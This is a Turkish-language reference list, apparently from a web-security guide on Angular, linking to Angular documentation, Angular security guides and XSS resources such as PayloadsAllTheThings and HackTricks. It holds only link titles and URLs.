* [Angular Güvenliği: Kesin Kılavuz (Bölüm 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Güvenliği: Kesin Kılavuz (Bölüm 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Güvenliği: Kontrol Listesi](https://lsgeurope.com/post/angular-security-checklist)
* [Çalışma Alanı ve Proje Dosya Yapısı](https://angular.io/guide/file-structure)
* [Bileşenlere ve Şablonlara Giriş](https://angular.io/guide/architecture-components)
* [Kaynak haritası yapılandırması](https://angular.io/guide/workspace-config#source-map-configuration)
* [Bağlama sözdizimi](https://angular.io/guide/binding-syntax)
* [Angular Bağlamı: İç İçe Bileşen Ağaçları ve Router Outlet için Kolay Veri Bağlama](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Temizleme ve güvenlik bağlamları](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
2024-02-10 18:14:16 +00:00
* [Angular ve AngularJS'te XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
2024-02-10 18:14:16 +00:00
* [Renderer2 Örneği: Angular'da DOM Manipülasyonu - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Belgeleri](http://api.jquery.com/)
* [Angular ile jQuery Nasıl Kullanılır (Mutlaka Kullanmanız Gerektiğinde)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)